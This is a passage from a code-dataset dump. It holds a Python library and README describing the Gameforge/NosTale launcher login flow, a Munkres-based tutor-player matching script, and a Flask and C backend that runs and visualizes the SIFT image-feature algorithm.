r.status_code != 200:\n return False\n\n return list(r.json().keys())\n\n def _convertToken(self, guid):\n return binascii.hexlify(guid.encode()).decode()\n\n def getToken(self, account):\n if not self.token or not self.platformUserId:\n return False\n \n URL = \"https://spark.gameforge.com/api/v1/auth/thin/codes\"\n\n HEADERS = {\n \"User-Agent\" : \"GameforgeClient/2.0.48\",\n \"TNT-Installation-Id\" : self.installation_id,\n \"Origin\" : \"spark://www.gameforge.com\",\n \"Authorization\" : \"Bearer {}\".format(self.token),\n \"Connection\" : \"Keep-Alive\"\n }\n\n CONTENT = {\n \"platformGameAccountId\" : account\n }\n\n r = requests.post(URL, headers=HEADERS, json=CONTENT)\n\n if r.status_code != 201:\n return False\n\n return self._convertToken(r.json()[\"code\"])\n" }, { "alpha_fraction": 0.6965681910514832, "alphanum_fraction": 0.7463075518608093, "avg_line_length": 55.14634323120117, "blob_id": "c612a09c0f70a700652143bda0c470672f000738", "content_id": "163245741ffb7c11f71f0fdb314eacf2952d2cf8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4604, "license_type": "permissive", "max_line_length": 268, "num_lines": 82, "path": "/README.md", "repo_name": "GorlikItsMe/NosTale-Auth", "src_encoding": "UTF-8", "text": "# NosTale-Auth\nSimple library that lets you generate \"magic\" value for the NoS0577 login packet\n\n# The packet\nNew login packet `NoS0577` is used when you login with Gameforge launcher\n\nThat's how it looks like:\n`\"NoS0577 \" + SESSION_TOKEN + \" \" + INSTALLATION_GUID + \" 003662BF\" + char(0xB) + \"0.9.3.3114\" + \" 0 \" + MD5_STR(MD5_FILE(\"NostaleClientX.exe\") + MD5_FILE(\"NostaleClient.exe\"))`\n\n* `NoS0577` - The header of the packet, const value\n* `SESSION_TOKEN` - Value generated by this library, after the value there are two spaces in the login packet\n* `INSTALLATION_GUID` - Id that is generated during installation, for login purposes it probably may be random, stored in the windows registry under key name `InstallationId` in `SOFTWARE\\\\WOW6432Node\\\\Gameforge4d\\\\TNTClient\\\\MainApp`\n* `003662BF` - Random value converted to HEX\n* `char(0xB)` - Single character with ASCII code `0xB`\n* `0.9.3.3114` - Current version of client, may be obtained from the NostaleClientX.exe file version\n* `0` - const value\n* `MD5_STR(MD5_FILE(\"NostaleClientX.exe\") + MD5_FILE(\"NostaleClient.exe\"))` - MD5 generated from concatenation of MD5 uppercase strings of NostaleClientX.exe and NostaleClient.exe \n\n# The useless stuff\n\nThe client makes some useless stuff (at least - for us) like\n\n1. When you press \"Start\" The launcher generates mostly like pseudo-random GUID and saves it to the environment variable called `_TNT_SESSION_ID`\n2. Launcher launches the client with `gf` parameter\n3. Client reads the `_TNT_SESSION_ID` value from the system environment variables, the value is further used to identify the client in the launcher (in case you run multiple NosTale clients)\n4. Now the client and the launcher talk over newly created [pipe](https://docs.microsoft.com/en-us/windows/desktop/ipc/pipes) using JSON-RPC protocol.\n5. The client queries the launcher using the `_TNT_SESSION_ID` value, the client requests info such as `USERNAME` and `code`, then it translates the `code` into `SESSION_TOKEN` using simple algorithm and sends it along with login packet\n\n# Core part\n\n## Auth\n\nTo obtain the token first you need to auth yourself. To do so you need to send `POST` request to `https://spark.gameforge.com/api/v1/auth/thin/sessions`, you send it `only once`.\n\nIn the request header you need to specify `TNT-Installation-Id` from the windows registry.\nIn the body of the request you need to specify `JSON` content:\n* `gfLang` - example: `pl`\n* `identity` - your username\n* `locale` - example: `pl_PL`\n* `password` - your password\n* `platformGameId` - probably const for NosTale: `dd4e22d6-00d1-44b9-8126-d8b40e0cd7c9`\n\nIn the response you will get `JSON` content:\n* `token` - value that is used later in API requests, it is NOT that one to use in login packet\n* `platformUserId` - your user ID\n\n## Accounts\n\nSince some time you may bind multiple game accounts to your GF account. To handle it you need to make `GET` request to `https://spark.gameforge.com/api/v1/user/accounts`\n\nIn the request header you need to specify:\n* `TNT-Installation-Id` - value from windows registry\n* `User-Agent` - Eg. `Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36`\n* `Authorization` - `Bearer ` + `TOKEN_FROM_AUTH_REQUEST`\n\nIn the response you get `JSON` array of all the accounts. Top level keys in the list are `account ids`.\n\n## Almost done\n\nTo obtain the right token you need to make `POST` request to `https://spark.gameforge.com/api/v1/auth/thin/codes`\nIn the request header you need to specify:\n* `TNT-Installation-Id` - value from windows registry\n* `User-Agent` - Changes over time, eg. `GameforgeClient/2.0.48`\n* `Authorization` - `Bearer ` + `TOKEN_FROM_AUTH_REQUEST`\n\nIn the request `JSON` body you need to specify:\n* `platformGameAccountId` - the id of selected account from previous section\n\nIn the response you get `JSON` content with:\n* `code` - The value you are looking for \n\nYou may call the `api/v1/auth/thin/codes` multiple times with the auth token obtained from `api/v1/auth/thin/sessions`\n\n## Finally, the SESSION_TOKEN\n\nTo use the `code` in login packet you need to convert it to `SESSION_TOKEN`. The conversion is very simple. It changes the `code` into hex string.\n\nLets say you got `code` equal to `a857263a-3fc1-4c60-ad78-9b6d9a2a0691`, after the conversion it will look like `61383537323633612D336663312D346336302D616437382D396236643961326130363931` because you convert characters from `code` element by element into hexstring, so:\n* `a` -> 97 -> 0x61 -> `61`\n* `8` -> 56 -> 0x38 -> `38`\n\nand so on, so the string will look like `6138...`\n" } ]
5
ccarlos/fun-learning-factor
https://github.com/ccarlos/fun-learning-factor
78f86dc3d9384619585026f93ad76345ce8cc91c
61ed97805bb21a29ce91d1f7711a1e66b978d357
4a816540d2ef2f3f3b7137d7030d9950e079ce9b
refs/heads/master
2021-01-19T06:56:25.923296
2012-11-21T11:23:49
2012-11-21T11:23:49
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6169188618659973, "alphanum_fraction": 0.6279229521751404, "avg_line_length": 28.079999923706055, "blob_id": "1a8439ef9d59532e2476cdff66d0115bf2b9880b", "content_id": "28376985dff446b15d31d458a4e0c7aa68961a79", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1454, "license_type": "no_license", "max_line_length": 68, "num_lines": 50, "path": "/flf.py", "repo_name": "ccarlos/fun-learning-factor", "src_encoding": "UTF-8", "text": "from sys import argv, exit, stderr\n\nfrom munkres.munkres import Munkres, make_cost_matrix\nfrom flf_process import FunLearningFactor\n\n# Assuming a flf cannot be greater than 1 million.\nHIGH_FLOAT = 1000000.0\n\n\ndef main(argv):\n \"\"\"\n Usage: python flf.py tutors players\n\n See README for problem description.\n \"\"\"\n\n if len(argv) != 2:\n print >> stderr, \"Insufficient number of arguments.\"\n print >> stderr, \"Usage: flf.py tutors players\"\n exit(2)\n\n tutors_file = argv[0]\n players_file = argv[1]\n\n # Find tutor-player matches that yield the highest flf.\n flf = FunLearningFactor(tutors_file, players_file)\n flf.fill_flf_matrix()\n\n # Use lambda since we want to calculate the maximum instead of a\n # mininum, using Munkres algorithm.\n cost_matrix = make_cost_matrix(flf.flf_matrix,\n lambda cost: HIGH_FLOAT - cost)\n\n m = Munkres()\n indeces = m.compute(cost_matrix)\n print flf.print_flf_matrix(msg='Tutor-Player flf matrix:')\n\n # Calculate highest yielding tutor-player pairs and total flf.\n total = 0.0\n print 'Highest yielding pairs (tutor, player):'\n for row, col in indeces:\n value = flf.flf_matrix[row][col]\n total = total + value\n print '(%d, %d) -> %f, %s' % (row, col, value,\n flf.get_tutor_player_names(row, col))\n print 'total flf = %f\\n' % total\n\n\nif __name__ == '__main__':\n exit(main(argv[1:]))\n" }, { "alpha_fraction": 0.5163043737411499, "alphanum_fraction": 0.5196256041526794, "avg_line_length": 33.8631591796875, "blob_id": "33458b38532083b90d2f8c373b431e21ef191854", "content_id": "814030aa56fa2b101e10bb91c96f478cfbcb47d5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3312, "license_type": "no_license", "max_line_length": 79, "num_lines": 95, "path": "/flf_process.py", "repo_name": "ccarlos/fun-learning-factor", "src_encoding": "UTF-8", "text": "from fractions import gcd\nfrom sys import exit, stderr\n\nVOWELS = \"aeiouy\"\nCONSONANTS = \"bcdfghjklmnpqrstvwxz\"\n\n\nclass FunLearningFactor(object):\n def __init__(self, tutors_file, players_file):\n self.flf_matrix = []\n\n # Populate tutor dict.\n # index => {name, len, odd}\n self.t_dict = {}\n with open(tutors_file, 'r') as tf:\n for i, tutor in enumerate(tf.readlines()):\n tutor = tutor.strip()\n self.t_dict[i] = {'name': tutor, 'len': len(tutor),\n 'odd': True if len(tutor) % 2 != 0 else False}\n\n # Populate player dict.\n # index => {name, len, num_vowels, num_consonants}\n self.p_dict = {}\n with open(players_file, 'r') as pf:\n for i, player in enumerate(pf.readlines()):\n player = player.strip()\n vowels = sum(player.lower().count(ch) for ch in VOWELS)\n consonants = sum(player.lower().count(ch) for ch in CONSONANTS)\n self.p_dict[i] = {'name': player, 'len': len(player),\n 'num_vowels': vowels,\n 'num_consonants': consonants}\n\n # Do we have an equal number of tutors and players?\n t_len = len(self.t_dict)\n p_len = len(self.p_dict)\n if t_len != p_len:\n print >> stderr, \"Not an equal number of tutors and players.\"\n print >> stderr, \"Tutors: %d, Players: %d\" % (t_len, p_len)\n exit(1)\n\n def fill_flf_matrix(self):\n \"\"\"Compute flf of tutor-player pairs and insert into a matrix.\"\"\"\n\n for t_itor in xrange(len(self.t_dict)): # Iterate tutors.\n matrix_row = []\n for p_itor in xrange(len(self.p_dict)): # Iterate players.\n # Computer flf between a tutor and a player.\n flf = self.calc_flf(self.t_dict[t_itor], self.p_dict[p_itor])\n matrix_row.append(flf)\n self.flf_matrix.append(matrix_row)\n\n def calc_flf(self, tutor, player):\n \"\"\"Calculates flf of a tutor-player pair.\"\"\"\n\n flf = None\n\n if tutor['odd']:\n flf = player['num_vowels'] * 1.5\n else:\n flf = player['num_consonants'] * 1.0\n\n # Check for common factors other than 1.\n if gcd(tutor['len'], player['len']) > 1:\n flf = flf + (flf * 0.5)\n\n return flf\n\n def print_flf_matrix(self, msg=None):\n \"\"\"Return a string representation of the flf matrix.\"\"\"\n\n matrix_str = '\\n'\n if msg:\n matrix_str += msg + '\\n'\n\n matrix_dim = len(self.t_dict)\n\n # Print out the vertical line for matrix.\n matrix_str += matrix_dim * '--' + '-\\n'\n\n for row in xrange(matrix_dim):\n matrix_str += '|'\n for col in xrange(matrix_dim):\n matrix_str += str(self.flf_matrix[row][col]) + '|'\n matrix_str += '\\n'\n\n # Print out the vertical line for matrix.\n matrix_str += matrix_dim * '--' + '-\\n'\n\n return matrix_str\n\n def get_tutor_player_names(self, tutor, player):\n \"\"\"Given a tutor and player index, return associated names.\"\"\"\n\n return '(%s, %s)' % (self.t_dict[tutor]['name'],\n self.p_dict[player]['name'])\n" } ]
2
Nico-MC/sift-visualization
https://github.com/Nico-MC/sift-visualization
73c8396da71fd18d3213b83751f18805109b57f5
4b6b9150cc8a3cbc9fb265b7a57f5f607c101f8f
ca4f49d605cac61f758401362ac814bba8a5aa86
refs/heads/master
2023-01-09T16:23:07.564805
2019-10-12T15:08:55
2019-10-12T15:08:55
187,363,785
1
0
MIT
2019-05-18T13:52:52
2019-10-12T15:09:05
2022-12-10T17:58:41
C
[ { "alpha_fraction": 0.6339113712310791, "alphanum_fraction": 0.6382466554641724, "avg_line_length": 46.181819915771484, "blob_id": "3204ee29e002110db63366c8baf962e959f1af6a", "content_id": "f6cdd317ae1e63f378de214b0e8ee9f10c5f3af2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4152, "license_type": "permissive", "max_line_length": 149, "num_lines": 88, "path": "/backend/my_blueprints/sift_cli/execute.py", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\nimport os, subprocess, shutil, re\nfrom flask import request, Blueprint, current_app as app, abort\nfrom werkzeug.utils import secure_filename\nfrom .handle_keypoints import handle_keypoints\n\nexecute = Blueprint('execute', __name__)\n\[email protected]('/execute', methods=['GET'])\ndef sift_cli():\n # ---Arrange---\n inputImagePath = app.config[\"ASSETS_FOLDER\"] + '/' + request.args.get('inputImageName')\n ss_noct = request.args.get('ss_noct')\n ss_nspo = request.args.get('ss_nspo')\n ss_dmin = request.args.get('ss_dmin')\n ss_smin = request.args.get('ss_smin')\n ss_sin = request.args.get('ss_sin')\n thresh_dog = request.args.get('thresh_dog')\n thresh_edge = request.args.get('thresh_edge')\n ori_nbins = request.args.get('ori_nbins')\n ori_thresh = request.args.get('ori_thresh')\n ori_lambda = request.args.get('ori_lambda')\n descr_nhist = request.args.get('descr_nhist')\n descr_nori = request.args.get('descr_nori')\n descr_lambda = request.args.get('descr_lambda')\n verb_keys = request.args.get('verb_keys')\n verb_ss = request.args.get('verb_ss')\n\n sift_cli_params = \\\n [\n \"./demo_SIFT/bin/sift_cli\", inputImagePath, # algorithm executable and input picture\n \"-ss_noct\", ss_noct, # number of octaves\n \"-ss_nspo\", ss_nspo, # number of scales per octave\n \"-ss_dmin\", ss_dmin, # the sampling distance in the first octave\n \"-ss_smin\", ss_smin, # blur level on the seed image\n \"-ss_sin\", ss_sin, # assumed level of blur in the input image\n \"-thresh_dog\", thresh_dog, # threshold over the DoG response\n \"-thresh_edge\", thresh_edge, # threshold over the ratio of principal curvature\n \"-ori_nbins\", ori_nbins, # number of bins in the orientation histogram\n \"-ori_thresh\", ori_thresh, # threshold for considering local maxima in the orientation histogram\n \"-ori_lambda\", ori_lambda, # sets how local is the analysis of the gradient distribution\n \"-descr_nhist\", descr_nhist, # number of histograms per dimension\n \"-descr_nori\", descr_nori, # number of bins in each histogram\n \"-descr_lambda\", descr_lambda, # sets how local the descriptor is\n ]\n # labels for output\n res = check_output_directory()\n if(verb_keys == \"1\"):\n sift_cli_params.extend([\"-verb_keys\", verb_keys]) # flag to output the intermediary sets of keypoints\n if(verb_ss == \"1\"):\n sift_cli_params.extend([\"-verb_ss\", verb_keys]) # flag to output the scalespaces (Gaussian and DoG)\n\n # ---Act---\n process = subprocess.Popen(sift_cli_params, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n stdout, stderr = process.communicate()\n\n if(stderr.decode(\"utf-8\") != ''):\n return stderr\n elif(stdout.decode(\"utf-8\") != ''):\n features_string = stdout.decode(\"utf-8\")\n file = open(\"static/keypoints/features.txt\", \"a\")\n file.write(features_string)\n file.close()\n\n process = subprocess.Popen([\"./demo_SIFT/bin/anatomy2lowe\", \"static/keypoints/features.txt\"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n stdout, stderr = process.communicate()\n if(stderr.decode(\"utf-8\") != ''):\n return stderr\n elif(stdout.decode(\"utf-8\") != ''):\n features2lowe_string = stdout.decode(\"utf-8\")\n file = open(\"static/keypoints/features2lowe.txt\", \"a\")\n file.write(stdout.decode(\"utf-8\"))\n file.close()\n return handle_keypoints(features2lowe_string, inputImagePath)\n abort(400, \"Can't convert keypoints by execute features2lowe\")\n else:\n return handle_keypoints(\"\", inputImagePath)\n\ndef check_output_directory():\n try:\n shutil.rmtree('static/scalespace', ignore_errors = True, onerror = None)\n shutil.rmtree('static/dog', ignore_errors = True, onerror = None)\n shutil.rmtree('static/keypoints', ignore_errors = True, onerror = None)\n os.makedirs('static/scalespace')\n os.makedirs('static/dog')\n os.makedirs('static/keypoints')\n except Exception as e:\n return(e)\n" }, { "alpha_fraction": 0.593616783618927, "alphanum_fraction": 0.6029732823371887, "avg_line_length": 31.387205123901367, "blob_id": "d0e58a03ad03f0e16800a991f18a28d89205a8f9", "content_id": "59f14c7ecebc173ecd224c8cfbc9e99a430d4437", "detected_licenses": [ "BSD-2-Clause", "BSD-3-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 9619, "license_type": "permissive", "max_line_length": 148, "num_lines": 297, "path": "/backend/demo_SIFT/src/lib_scalespace.c", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "/*\nIPOL SIFT\nCopyright (C) 2014, Ives Rey-Otero, CMLA ENS Cachan \n<[email protected]>\n\nVersion 20140911 (September 11th, 2014)\n\nThis C ANSI source code is related to the IPOL publication\n\n [1] \"Anatomy of the SIFT Method.\" \n I. Rey Otero and M. Delbracio\n Image Processing Online, 2013.\n http://www.ipol.im/pub/algo/rd_anatomy_sift/\n\nAn IPOL demo is available at\n http://www.ipol.im/pub/demo/rd_anatomy_sift/\n\n\n\n\n\n== Patent Warning and License =================================================\n\nThe SIFT method is patented \n\n [2] \"Method and apparatus for identifying scale invariant features\n in an image.\"\n David G. Lowe\n Patent number: 6711293\n Filing date: Mar 6, 2000\n Issue date: Mar 23, 2004\n Application number: 09/519,89\n \n These source codes are made available for the exclusive aim of serving as\n scientific tool to verify the soundness and completeness of the algorithm\n description. Compilation, execution and redistribution of this file may\n violate patents rights in certain countries. The situation being different\n for every country and changing over time, it is your responsibility to\n determine which patent rights restrictions apply to you before you compile,\n use, modify, or redistribute this file. A patent lawyer is qualified to make\n this determination. If and only if they don't conflict with any patent terms,\n you can benefit from the following license terms attached to this file.\n\n\nThis program is free software: you can use, modify and/or\nredistribute it under the terms of the simplified BSD\nLicense. You should have received a copy of this license along\nthis program. If not, see\n<http://www.opensource.org/licenses/bsd-license.html>.\n\n*/\n/**\n * @file sift_scalespace.c\n * @brief data structures to store the scale-space\n *\n * @li struct keypoint keypoint data structure.\n * @li struct sift_keypoints list of keypoints with variable length.\n *\n * @author Ives Rey-Otero <[email protected]>\n */\n\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n#include <math.h>\n\n#include \"lib_discrete.h\"\n#include \"lib_scalespace.h\"\n#include \"lib_util.h\"\n\n\n\n/** ************************************ ALLOCATION *******************************************/\n\n\n/** @brief Octave structure memory allocation\n *\n * An octave is a stack of images sharing same w, h and intersample distance.\n * Each image of the stack has a level of blur.\n * \n * @param nSca : number of images in the stack.\n * @param delta : intersample distance\n * @param w \n * @param h\n * @param sigma : levels of blur for each image in the stack\n *\n *\n */\nstatic struct octa *malloc_octa(float delta, int w, int h, int nSca, const float* sigmas){\n\n /* Memory allocation */\n struct octa* octave = xmalloc(sizeof(struct octa)); /* pointer to a (structure octave) */\n\n /* Modifying structure members */\n octave->delta = delta;\n octave->w = w;\n octave->h = h;\n octave->nSca = nSca;\n octave->sigmas = xmalloc(nSca*sizeof(float)); /* pointer to the array of level of simulated blurs */\n octave->imStack = xmalloc(nSca*w*h*sizeof(float)); /* pointer to the array of pixels */\n for(int i=0;i<nSca;i++){\n octave->sigmas[i] = sigmas[i];\n }\n return octave;\n}\n\n/** @brief allocation and attributes modification\n *\n * Allocate memory for a scalespace structure \n * and modify attributes that will be used to actually build the scalespace\n * \n * @param nOct : number of octaves\n * @param deltas : intersample distance in each octave of the scalespace\n * @param ws : image w in each octave of the scalespace\n * @param hs :\n * @param nScas : number of images in each octave of the scalespace\n * @param sigmas : array of blurs for each image in each octave of the scalespace\n * \n */\nstruct sift_scalespace* sift_malloc_scalespace(int nOct,\n const float* deltas,\n const int* ws,\n const int* hs,\n const int* nScas,\n float** sigmas)\n{\n struct sift_scalespace* scalespace = xmalloc(sizeof(struct sift_scalespace));\n scalespace->nOct = nOct;\n for(int o=0;o<nOct;o++){\n scalespace->octaves[o] = malloc_octa(deltas[o], ws[o], hs[o], nScas[o], sigmas[o]);\n }\n return scalespace;\n}\n\n\n\nstatic void free_octa(struct octa *octave){\n xfree(octave->sigmas); /* the memory allocated to store simulated values */\n xfree(octave->imStack); /* the memory allocated to store the octave samples */\n xfree(octave);\n}\n\n\nvoid sift_free_scalespace(struct sift_scalespace *scalespace){\n int nOct = scalespace->nOct;\n for(int o=0;o<nOct;o++)\n free_octa(scalespace->octaves[o]);\n xfree(scalespace);\n}\n\n\n\n/** ********************************** ALLOCATION WRAPPERS ****************************************/\n\n\n/** @brief Allocation via copy a scalespace structure\n * \n * - Copy structure (number of octaves, dimensions, sampling rates, levels of blur)\n * - Doesn't copy the image stacks\n * \n */\nstruct sift_scalespace* sift_malloc_scalespace_from_model(struct sift_scalespace* model_sift_scalespace){\n\n struct sift_scalespace * copy_sift_scalespace;\n\n int nOct = model_sift_scalespace->nOct;\n\n int* nScas = xmalloc(nOct*sizeof(int));\n int* ws = xmalloc(nOct*sizeof(int));\n int* hs = xmalloc(nOct*sizeof(int));\n float* deltas = xmalloc(nOct*sizeof(float));\n float** sigmas = xmalloc(nOct*sizeof(float*));\n\n for(int o=0;o<nOct;o++){\n nScas[o] = model_sift_scalespace->octaves[o]->nSca;\n ws[o] = model_sift_scalespace->octaves[o]->w;\n hs[o] = model_sift_scalespace->octaves[o]->h;\n deltas[o] = model_sift_scalespace->octaves[o]->delta;\n\n sigmas[o] = xmalloc(nScas[o]*sizeof(float));\n for(int i=0;i<nScas[o];i++)\n sigmas[o][i] = model_sift_scalespace->octaves[o]->sigmas[i];\n }\n\n copy_sift_scalespace = sift_malloc_scalespace(nOct, deltas, ws, hs, nScas, sigmas);\n\n xfree(deltas);\n xfree(ws);\n xfree(hs);\n xfree(nScas);\n for(int o=0;o<nOct;o++)\n xfree(sigmas[o]);\n xfree(sigmas);\n\n return copy_sift_scalespace;\n}\n\n\n\n\n\n\n\n\n\n/** @brief Allocation of a scalespace with David Lowe's original structure.\n *\n *\n * The set of simulated level of blur\n * sigmas[o][s] = deltas[o]*sigma_min*pow(2.0,(float)s/(float)nSca);\n *\n *\n */\nstruct sift_scalespace* sift_malloc_scalespace_lowe(int nOct, /* # of octaves */\n int nSca, /* # of scales of detection (excluding the 3 auxiliary scales */\n int im_w, int im_h, /* # input image dimension */\n float delta_min, /* minimal inter distance sample */\n float sigma_min) /* minimal scale in each octave (relatively to the sampling rate) */\n{\n int* ws = xmalloc(nOct*sizeof(int));\n int* hs = xmalloc(nOct*sizeof(int));\n int* nScas = xmalloc(nOct*sizeof(int));\n float* deltas = xmalloc(nOct*sizeof(float));\n float** sigmas = xmalloc(nOct*sizeof(float*)); /* nSca+3 = nSca + 2 extra scales to search 3d extrema + 1 extra scale to compute DoG */\n assert(delta_min <=1);\n deltas[0] = delta_min;\n hs[0] = (int)(im_h/delta_min);\n ws[0] = (int)(im_w/delta_min);\n for(int o=1;o<nOct;o++){\n ws[o] = ws[o-1]/2; /*integer division*/\n hs[o] = hs[o-1]/2;\n deltas[o] = deltas[o-1]*2.0;\n }\n for(int o=0;o<nOct;o++){\n nScas[o] = nSca+3; /* 3 extra images in the stack, 1 for dog computation and 2 for 3d discrete extrema definition*/\n sigmas[o] = xmalloc(nScas[o]*sizeof(float));\n for(int s=0;s<nSca+3;s++){ /* nSca images + 3 auxiliary images*/\n sigmas[o][s] = deltas[o]/deltas[0]*sigma_min*pow(2.0,(float)s/(float)nSca);\n }\n }\n struct sift_scalespace* scalespace = sift_malloc_scalespace(nOct, deltas, ws, hs, nScas, sigmas); \n xfree(deltas);\n xfree(ws);\n xfree(hs);\n xfree(nScas);\n for(int o=0;o<nOct;o++)\n xfree(sigmas[o]);\n xfree(sigmas); \n return scalespace;\n}\n\n\n\n\n\n\n/** @brief allocation for Difference of Gaussian scalespace.\n * \n * Characteristics of a DoG scalespace\n * - one image less in each octave than the scalespace it is based on\n * - same level of blurs than the scalespace it is based on (this is an approximation)\n * \n */\nstruct sift_scalespace* sift_malloc_scalespace_dog_from_scalespace(struct sift_scalespace* scalespace)\n{\n /* minimal scale in each octave (relatively to the sampling rate) */\n\n /* copy and allocate using a model */\n struct sift_scalespace* dog = sift_malloc_scalespace_from_model(scalespace);\n\n /* modify some allocations */\n int nOct = scalespace->nOct;\n int nSca;\n int w;\n int h;\n\n for(int o=0;o<nOct;o++){\n\n xfree(dog->octaves[o]->sigmas);\n xfree(dog->octaves[o]->imStack);\n\n nSca = scalespace->octaves[o]->nSca-1;\n w = scalespace->octaves[o]->w;\n h = scalespace->octaves[o]->h;\n\n dog->octaves[o]->nSca = nSca;\n dog->octaves[o]->sigmas = xmalloc(nSca*sizeof(float));\n dog->octaves[o]->imStack = xmalloc(nSca*w*h*sizeof(float));\n\n for(int i=0;i<nSca;i++){\n dog->octaves[o]->sigmas[i] = scalespace->octaves[o]->sigmas[i];\n }\n }\n return dog;\n}\n" }, { "alpha_fraction": 0.7094510793685913, "alphanum_fraction": 0.731737494468689, "avg_line_length": 32.65277862548828, "blob_id": "704beba7bc858ce71fa329c7580ffc62d018d510", "content_id": "c6f3d8355f3b4c37b224d54b6ee399f22820d22d", "detected_licenses": [ "MIT", "BSD-2-Clause", "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2423, "license_type": "permissive", "max_line_length": 112, "num_lines": 72, "path": "/backend/demo_SIFT/src/lib_io_scalespace.h", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "/*\nIPOL SIFT\nCopyright (C) 2014, Ives Rey-Otero, CMLA ENS Cachan \n<[email protected]>\n\nVersion 20140911 (September 11th, 2014)\n\nThis C ANSI source code is related to the IPOL publication\n\n [1] \"Anatomy of the SIFT Method.\" \n I. Rey Otero and M. Delbracio\n Image Processing Online, 2013.\n http://www.ipol.im/pub/algo/rd_anatomy_sift/\n\nAn IPOL demo is available at\n http://www.ipol.im/pub/demo/rd_anatomy_sift/\n\n\n\n\n\n== Patent Warning and License =================================================\n\nThe SIFT method is patented \n\n [2] \"Method and apparatus for identifying scale invariant features\n in an image.\"\n David G. Lowe\n Patent number: 6711293\n Filing date: Mar 6, 2000\n Issue date: Mar 23, 2004\n Application number: 09/519,89\n \n These source codes are made available for the exclusive aim of serving as\n scientific tool to verify the soundness and completeness of the algorithm\n description. Compilation, execution and redistribution of this file may\n violate patents rights in certain countries. The situation being different\n for every country and changing over time, it is your responsibility to\n determine which patent rights restrictions apply to you before you compile,\n use, modify, or redistribute this file. A patent lawyer is qualified to make\n this determination. If and only if they don't conflict with any patent terms,\n you can benefit from the following license terms attached to this file.\n\n\nThis program is free software: you can use, modify and/or\nredistribute it under the terms of the simplified BSD\nLicense. You should have received a copy of this license along\nthis program. If not, see\n<http://www.opensource.org/licenses/bsd-license.html>.\n\n\nThis file also implements the colormap published in the paper\n [3] \"Diverging Color Maps for Scientific Visualization.\"\n Kenneth Moreland\n International Symposium on Visual Computing 2009\n\n\n\n*/\n\n\n#ifndef _SIFT_IO_SCALESPACE_H_\n#define _SIFT_IO_SCALESPACE_H_\n\n#include \"lib_scalespace.h\"\n\nvoid print_sift_scalespace_gray(const struct sift_scalespace* scalespace, const char* basename);\nvoid print_sift_scalespace_gray_nearestneighbor(const struct sift_scalespace* scalespace, const char* basename);\nvoid print_sift_scalespace_rgb(const struct sift_scalespace* scalespace, const char* basename);\nvoid print_sift_scalespace_rgb_nointerp(const struct sift_scalespace* scalespace, const char* basename);\n\n#endif\n" }, { "alpha_fraction": 0.5252150297164917, "alphanum_fraction": 0.5409849882125854, "avg_line_length": 35.15243911743164, "blob_id": "a712f39aef75db70e6abb799844ae53146e28140", "content_id": "828478091bae49716ea25662fb11fc19f378da4a", "detected_licenses": [ "BSD-2-Clause", "BSD-3-Clause", "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 11858, "license_type": "permissive", "max_line_length": 125, "num_lines": 328, "path": "/backend/demo_SIFT/src/sift_cli.c", "repo_name": "Nico-MC/sift-visualization", "src_encoding": "UTF-8", "text": "/*\nIPOL SIFT\nCopyright (C) 2014, Ives Rey-Otero, CMLA ENS Cachan\n<[email protected]>\n\nVersion 20140911 (September 11th, 2014)\n\nThis C ANSI source code is related to the IPOL publication\n\n [1] \"Anatomy of the SIFT Method.\"\n I. Rey Otero and M. Delbracio\n Image Processing Online, 2013.\n http://www.ipol.im/pub/algo/rd_anatomy_sift/\n\nAn IPOL demo is available at\n http://www.ipol.im/pub/demo/rd_anatomy_sift/\n\n\n\n\n\n== Patent Warning and License =================================================\n\nThe SIFT method is patented\n\n [3] \"Method and apparatus for identifying scale invariant features\n in an image.\"\n David G. Lowe\n Patent number: 6711293\n Filing date: Mar 6, 2000\n Issue date: Mar 23, 2004\n Application number: 09/519,89\n\n These source codes are made available for the exclusive aim of serving as\n scientific tool to verify the soundness and completeness of the algorithm\n description. Compilation, execution and redistribution of this file may\n violate patents rights in certain countries. The situation being different\n for every country and changing over time, it is your responsibility to\n determine which patent rights restrictions apply to you before you compile,\n use, modify, or redistribute this file. A patent lawyer is qualified to make\n this determination. If and only if they don't conflict with any patent terms,\n you can benefit from the following license terms attached to this file.\n\n\nThis program is free software: you can use, modify and/or\nredistribute it under the terms of the simplified BSD\nLicense. You should have received a copy of this license along\nthis program. If not, see\n<http://www.opensource.org/licenses/bsd-license.html>.\n\n*/\n/**\n * @file sift.c\n * @brief [[MAIN]] The SIFT method\n *\n * @li basic SIFT transform applied to one image\n * @li verbose SIFT transform\n *\n * @author Ives Rey-Otero <[email protected]>\n */\n\n\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <math.h>\n\n\n#include \"lib_sift_anatomy.h\"\n#include \"lib_io_scalespace.h\"\n#include \"io_png.h\"\n#include \"lib_util.h\"\n\n\n#include <string.h>\n\n\n\n\nvoid print_usage()\n{\n fprintf(stderr, \"Anatomy of the SIFT method (www.ipol.im/pub/pre/82/) ver 20140801 \\n\");\n fprintf(stderr, \"Usage: sift_cli image [options...] \\n\");\n fprintf(stderr, \" \\n\");\n fprintf(stderr, \" -ss_noct (8) number of octaves \\n\");\n fprintf(stderr, \" -ss_nspo (3) number of scales per octaves \\n\");\n fprintf(stderr, \" -ss_dmin (0.5) the sampling distance in the first octave \\n\");\n fprintf(stderr, \" -ss_smin (0.8) blur level on the seed image \\n\");\n fprintf(stderr, \" -ss_sin (0.5) assumed level of blur in the input image \\n\");\n fprintf(stderr, \" \\n\");\n fprintf(stderr, \" -thresh_dog 